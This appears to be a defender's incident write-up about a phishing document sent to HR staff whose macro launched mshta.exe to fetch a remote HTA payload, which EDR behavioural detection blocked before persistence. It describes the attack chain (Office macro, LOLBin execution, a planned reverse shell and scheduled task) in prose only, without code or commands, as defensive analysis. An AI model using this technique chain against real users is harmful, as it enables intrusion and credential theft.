LOLBin Execution via mshta.exe Spawned from Word
A macro-enabled document executed a remote HTA payload via a legitimate Windows binary. The attack was stopped before persistence was established, but only just.
Background
The alert originated from the EDR platform: winword.exe had spawned cmd.exe, which had spawned mshta.exe making an outbound HTTPS connection. The process chain alone was enough to elevate this immediately.
The user was in the HR department. They had opened a document received by email, the subject line referencing an updated employee benefits policy, from an external sender they didn't recognise but didn't flag as suspicious. Macros had been enabled when a social engineering prompt inside the document asked them to do so.
The Attack Chain
The process ancestry recorded by EDR:
- winword.exe opened the malicious document
- Macro executed via VBA automation
- cmd.exe spawned as a child of winword.exe
- mshta.exe called with a URL argument pointing to a .hta file on an external server
- Outbound HTTPS connection established to the remote server
- HTA file partially downloaded before EDR blocked the execution
mshta.exe (Microsoft HTML Application Host) is a signed, trusted Windows binary. It executes .hta files, which are essentially HTML with embedded scripting (VBScript or JScript) running in a trusted context. Attackers use it to execute arbitrary code while appearing to use a legitimate Windows component.
The HTA file would have executed a script to download a second-stage payload and create a scheduled task for persistence. The EDR blocked the mshta.exe execution based on the parent process ancestry (winword spawning a command chain ending in mshta with external URL) rather than signature detection. The payload itself had no signature matches at the time.
Investigation
The endpoint was isolated within minutes of the EDR alert escalation. Volatile memory was preserved where possible. The investigation focused on three questions: was anything executed, was anything written to disk, and was persistence established?
The answers were no, no, and no, but barely. The EDR had blocked mshta.exe at the point of launch. A registry scan found no new scheduled tasks, no run key entries, and no startup folder additions. Network logs confirmed the outbound connection was blocked at the proxy before the full HTA file was retrieved.
The document itself was submitted for analysis. It contained a VBA macro designed to look like a legitimate document update prompt. The macro was obfuscated using character substitution, a common technique to avoid static analysis detection.
Email analysis confirmed the document had been sent to four other employees in HR and one in payroll in the same campaign. All five were contacted. One other employee had also opened the document but had not enabled macros. The remaining three had not opened it.
What Would Have Happened
Based on the partial HTA file retrieved, the second-stage payload was a Meterpreter-compatible reverse shell with a scheduled task installer. Had the execution completed, the attacker would have had a persistent, interactive shell on an HR workstation with access to employee records and payroll system credentials stored in the browser.
Remediation
The five documents were quarantined from all mailboxes. Macros were disabled via Group Policy for the HR and payroll groups, where no documented business need for macros existed. The attacker's domain was blocked. The VBA obfuscation pattern was added to the email security platform's rule set as a new detection. The five affected users received targeted phishing awareness guidance.
Outcome
No payload executed. No persistence established. No data accessed. The detection that saved this was behavioural: parent process ancestry flagged by EDR, not a signature match. The post-incident detection improvement (blocking macros for non-business users) reduced attack surface for the entire document-based malware category.